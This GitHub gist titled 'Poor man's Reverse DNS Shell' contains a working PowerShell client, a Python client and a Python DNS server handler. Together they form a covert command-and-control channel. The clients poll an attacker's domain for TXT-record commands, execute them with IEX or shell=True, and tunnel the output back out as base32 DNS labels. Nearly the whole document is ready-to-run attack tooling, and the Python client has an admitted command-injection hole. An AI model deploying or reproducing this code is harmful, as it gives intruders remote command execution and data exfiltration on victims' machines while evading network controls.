Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active January 11, 2020 11:12
Show Gist options
  • Save FrankSpierings/4fe924866634a470bc46218d6d24a183 to your computer and use it in GitHub Desktop.
Save FrankSpierings/4fe924866634a470bc46218d6d24a183 to your computer and use it in GitHub Desktop.
Poor man's Reverse DNS Shell
#
# DNS requests created: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain>
#
Function ConvertTo-Blocks() {
param(
[String]$String,
[int]$Size
)
[Array]$output = @()
for ($i=0; $i -lt $String.Length; $i+=$Size) {
$length = $Size;
if (($i + $length) -gt $String.Length) {
$length = $String.Length % $Size;
}
$output += $String.Substring($i, $length);
}
return $output
}
Function Get-RandomString() {
param(
[int]$Size
)
return (((65..90) + (48..57) | Get-Random -Count $Size | %{[char]$_}) -join "")
}
Function Invoke-DNSShell() {
param (
[int]$Polltime = 5,
[Parameter(mandatory=$true)]
[string]$Domain,
[string]$Server,
[string]$ClientId = (Get-RandomString 4)
)
$pagesize = 4096;
$blocksize = 63;
if ($Server -ne "") {
$Extra = $Server;
}
else {
$Extra = '';
}
Function Convert-ToBase32() {
param(
[string]$String
)
[System.String]$B32CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
[System.IO.Stream]$InputStream = New-Object -TypeName System.IO.MemoryStream(,[System.Text.Encoding]::ASCII.GetBytes($String));
[System.Object]$BinaryReader = New-Object -TypeName System.IO.BinaryReader($InputStream);
[System.Object]$Base32Output = New-Object -TypeName System.Text.StringBuilder;
While ([System.Byte[]]$BytesRead = $BinaryReader.ReadBytes(5)) {
[System.Boolean]$AtEnd = ($BinaryReader.BaseStream.Length -eq $BinaryReader.BaseStream.Position);
[System.UInt16]$ByteLength = $BytesRead.Length;
If ($ByteLength -lt 5) {
[System.Byte[]]$WorkingBytes = ,0x00 * 5;
[System.Buffer]::BlockCopy($BytesRead,0,$WorkingBytes,0,$ByteLength);
[System.Array]::Resize([ref]$BytesRead,5);
[System.Buffer]::BlockCopy($WorkingBytes,0,$BytesRead,0,5);
}
[System.Char[]]$B32Chars = ,0x00 * 8;
[System.Char[]]$B32Chunk = ,"=" * 8;
$B32Chars[0] = ($B32CHARSET[($BytesRead[0] -band 0xF8) -shr 3]);
$B32Chars[1] = ($B32CHARSET[(($BytesRead[0] -band 0x07) -shl 2) -bor (($BytesRead[1] -band 0xC0) -shr 6)]);
$B32Chars[2] = ($B32CHARSET[($BytesRead[1] -band 0x3E) -shr 1]);
$B32Chars[3] = ($B32CHARSET[(($BytesRead[1] -band 0x01) -shl 4) -bor (($BytesRead[2] -band 0xF0) -shr 4)]);
$B32Chars[4] = ($B32CHARSET[(($BytesRead[2] -band 0x0F) -shl 1) -bor (($BytesRead[3] -band 0x80) -shr 7)]);
$B32Chars[5] = ($B32CHARSET[($BytesRead[3] -band 0x7C) -shr 2]);
$B32Chars[6] = ($B32CHARSET[(($BytesRead[3] -band 0x03) -shl 3) -bor (($BytesRead[4] -band 0xE0) -shr 5)]);
$B32Chars[7] = ($B32CHARSET[$BytesRead[4] -band 0x1F]);
[System.Array]::Copy($B32Chars,$B32Chunk,([Math]::Ceiling(($ByteLength / 5) * 8)));
[void]$Base32Output.Append($B32Chunk)
}
[System.String]$Base32Result = $Base32Output.ToString()
$BinaryReader.Close()
$BinaryReader.Dispose()
$InputStream.Close()
$InputStream.Dispose()
return $Base32Result
}
while ($true) {
$cmd = $('&nslookup -type=TXT {0}.{1}.{2}.{3}.{4}.{5}.{6} {7} 2>&1' -f $clientid, 0, 0, 0,(Get-RandomString 10),(Get-RandomString 4),$Domain,$Extra);
Write-Debug $cmd
$output = ($cmd | IEX -ErrorAction "SilentlyContinue" | Out-String);
Write-Debug $output
if ($output -match '(?si)text\s*=\s*"(?<command>.*?)".*$') {
$command = $Matches['command'];
Write-Verbose $command
$Error.Clear();
try {
$output = ($command | IEX | Out-String);
}
catch {
$output = $Error | Out-String;
}
[Array]$pages = @(ConvertTo-Blocks -String $output -Size $pagesize | where {$_})
$pages |% {
$page = $_;
$encpage = (Convert-ToBase32 -String $page);
$encpage = $encpage.TrimEnd('=');
[Array]$blocks = @(ConvertTo-Blocks -String $encpage -Size $blocksize | where {$_})
for ($i=0; $i -lt $blocks.Length; $i++) {
$cmd = $('&nslookup -type=TXT {0}.{1}.{2}.{3}.{4}.{5}.{6} {7} 2>&1' -f $clientid, 1, $i, ($blocks.Length -1), $blocks[$i], (Get-RandomString 4) ,$Domain,$Extra);
Write-Debug $cmd;
Write-Debug ($cmd | IEX | Out-String);
}
}
}
Start-Sleep $Polltime;
}
}
#!/usr/bin/env python3
#
# DNS requests created: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain>
#
import os
import base64
import time
import subprocess
import string
import random
import argparse
import logging, logging.config
logconfig = {'version': 1, 'disable_existing_loggers': False,
'formatters': {
'standard': {'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s'},
},'handlers': {
'default': {
'level': 'DEBUG','formatter':'standard','class': 'logging.StreamHandler','stream': 'ext://sys.stdout',},
},'loggers': {
'': {'handlers': ['default'],'level': 'INFO','propagate': True},
}
}
def randomstring(l=10, dictionary=(string.ascii_lowercase + string.digits)):
out = ''
for i in range(l):
out += dictionary[random.randint(0, len(dictionary) - 1)]
return out
def get_blocks(message, chunksize=63):
return [message[i:i+chunksize] for i in range(0, len(message), chunksize)]
if __name__ == "__main__":
logging.config.dictConfig(logconfig)
logger = logging.getLogger()
parser = argparse.ArgumentParser(description='DNS Reverse Shell Client')
parser.add_argument('domain', type=str, help='The domain name: evil.server.com')
parser.add_argument('-s', dest='server', type=str, help='The DNS server to connect to: 127.0.0.1')
parser.add_argument('-i', dest='clientid', default=randomstring(4), type=str, help='The client identifier')
parser.add_argument('-d', dest='debug', action='store_true', help='Debug mode')
args = parser.parse_args()
if args.debug:
logger.setLevel('DEBUG')
if args.server:
# Command injection, but who cares.
extra = '@{0}'.format(args.server)
else:
extra = ''
logger.info('Startup, ClientID: {0}'.format(args.clientid))
try:
while True:
cmdargs = {
'clientid': args.clientid,
'msgtype': 0,
'msgid': 0,
'msgidtotal': 0,
'data': randomstring(10),
'random': randomstring(4),
'domain': args.domain,
'extra': extra
}
cmd = 'dig +short TXT {clientid}.{msgtype}.{msgid}.{msgidtotal}.{data}.{random}.{domain} {extra}'.format(**cmdargs)
logger.debug(cmd)
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
output = p.stdout.read()
logger.debug(output)
if output != b'':
cmd = output.decode().strip()[1:-1]
logger.info('cmd: {0}'.format(cmd))
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
while True:
page = p.stdout.read(4096)
if page:
i = 0
encpage = base64.b32encode(page)
encpage = encpage.rstrip(b'=')
blocks = get_blocks(encpage)
for block in blocks:
cmdargs = {
'clientid': args.clientid,
'msgtype': 1,
'msgid': i,
'msgidtotal': len(blocks)-1,
'data': block.decode(),
'random': randomstring(4),
'domain': args.domain,
'extra': extra
}
cmd = 'dig +short TXT {clientid}.{msgtype}.{msgid}.{msgidtotal}.{data}.{random}.{domain} {extra}'.format(**cmdargs)
logger.debug(cmd)
p2 = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
p2.wait()
logger.debug(p2.stdout.read().decode())
i += 1
else:
break
time.sleep(5)
except KeyboardInterrupt:
logger.info("Shutting down...")
#!/usr/bin/env python3
#
# DNS request expected: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain>
#
import argparse
import threading
import socketserver
import time
import struct
import readline
import queue
from dnslib import *
import base64
import sys, traceback
import logging, logging.config
logconfig = {'version': 1, 'disable_existing_loggers': False,
'formatters': {
'standard': {'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s'},
},'handlers': {
'default': {
'level': 'DEBUG','formatter':'standard','class': 'logging.StreamHandler','stream': 'ext://sys.stdout',},
},'loggers': {
'': {'handlers': ['default'],'level': 'INFO','propagate': True},
}
}
MAXMSGID = 105 # Uncoded pages of 4096 bytes. 4096 * 1.6 (= base32 ratio) = 6554 encoded pages. 6554/63 = 105 requests.
commandqueue = queue.Queue()
lock = threading.Lock()
clientresponse = {}
def dns_response(data):
request = DNSRecord.parse(data)
logger.debug('Received request:\n{0}'.format(request))
message = str(request.q.qname).split('.')
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
# Handle PTR requests, Windows does this.
if request.q.qtype == QTYPE.PTR:
reply.add_answer(RR(request.q.qname,QTYPE.PTR, ttl=3600, rdata=PTR('whowantstoknow')))
return reply.pack()
try:
if len(message) > 5:
clientid = message[0]
msgtype = int(message[1])
msgid = int(message[2])
msgidtotal = int(message[3])
data = message[4]
rnd = message[5]
domain = '.'.join(message[6:-1])
msg = 'Decoded information:\n'
msg += 'clientid: {0}\n'
msg += 'msgtype: {1}\n'
msg += 'msgid: {2}\n'
msg += 'msgidtotal: {3}\n'
msg += 'data: {4}\n'
msg += 'random: {5}\n'
msg += 'domain: {6}'
logger.debug(msg.format(clientid, msgtype, msgid, msgidtotal, data, rnd, domain))
if (domain != args.domain):
logger.warning("Request for an incorrect domain '{0}'. Ignoring packet".format(domain))
elif (msgid > msgidtotal) or (msgidtotal > MAXMSGID):
logger.warning("Message ID's to high. Ignoring packet")
elif msgtype == 0:
# Request a command
if not commandqueue.empty():
command = commandqueue.get()
commandqueue.task_done()
reply.add_answer(RR(request.q.qname,QTYPE.TXT,ttl=1, rdata=TXT(command)))
logger.debug('Sending command:\n{0}'.format(command))
# New command has been sent, clear the results. (This does not seem wise, but YOLO)
with lock:
clientresponse.clear()
elif msgtype == 1:
with lock:
if msgid not in clientresponse.keys():
clientresponse[msgid] = data
# We can do better, should check if the fragment is there and such, but for now..
if msgid == msgidtotal and len(sorted(clientresponse)) == (msgidtotal +1):
message = ''.join([clientresponse[key] for key in sorted(clientresponse)])
if (len(message) % 8 != 0):
padding = "=" * (8 - (len(message) % 8))
else:
padding = ''
message = '{0}{1}'.format(message, padding)
logger.debug('Encoded message:\n{0}'.format(message))
message = base64.b32decode(message.upper())
message = message.decode(errors='ignore')
message = '{0}\n$ '.format(message)
print(message, end='')
clientresponse.clear()
else:
logger.warning('Not a correct message; incorrect msgtype.')
else:
logger.warning('Not a correct message; incorrect length of name.')
except:
logger.error(traceback.format_exc())
logger.debug('Sending Reply:\n{0}'.format(reply))
return reply.pack()
class BaseRequestHandler(socketserver.BaseRequestHandler):
def get_data(self):
raise NotImplementedError
def send_data(self, data):
raise NotImplementedError
def handle(self):
logger.debug('Received packet.')
data = self.get_data()
logger.debug('Raw data: {0}'.format(data))
self.send_data(dns_response(data))
class TCPRequestHandler(BaseRequestHandler):
def get_data(self):
data = self.request.recv(2)
if (data and len(data) == 2):
length = struct.unpack('>H', data)[0]
data = ''
while (len(data) < length):
data += self.request.recv(4096)
if len(data) != length:
logger.warning('TCP Packet size is different as stated in the first two bytes. Ignoring packet.')
else:
return data
else:
logger.warning('Incorrect TCP packet. Length bytes are not available. Ignoring packet')
def send_data(self, data):
length = struct.pack('>H', len(data))
return self.request.sendall(length + data)
class UDPRequestHandler(BaseRequestHandler):
def get_data(self):
return self.request[0]
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
if __name__ == "__main__":
logging.config.dictConfig(logconfig)
logger = logging.getLogger()
parser = argparse.ArgumentParser(description='DNS Reverse Shell Handler')
parser.add_argument(dest='domain', type=str, help='The domain to listen for: evil.server.com')
parser.add_argument('-b', dest='address', default='0.0.0.0', type=str, help='The bind address: 0.0.0.0')
parser.add_argument('-p', dest='port', default=53, type=int, help='The host listening port (TCP/UDP)')
parser.add_argument('-d', dest='debug', action='store_true', help='Debug mode')
args = parser.parse_args()
if args.debug:
logger.setLevel('DEBUG')
DOMAIN = args.domain
logger.info('Startup...')
servers = []
servers.append(socketserver.ThreadingUDPServer((args.address, args.port), UDPRequestHandler))
servers.append(socketserver.ThreadingTCPServer((args.address, args.port), TCPRequestHandler))
for server in servers:
logger.info('Starting: {0}, {1}:{2}'.format(server.__class__, server.server_address[0], server.server_address[1]))
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
try:
while True:
cmd = input('$ ')
if (cmd.strip() != ''):
commandqueue.put(cmd)
except KeyboardInterrupt:
for server in servers:
logger.info('Stopping: {0}, {1}:{2}'.format(server.__class__, server.server_address[0], server.server_address[1]))
server.server_close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment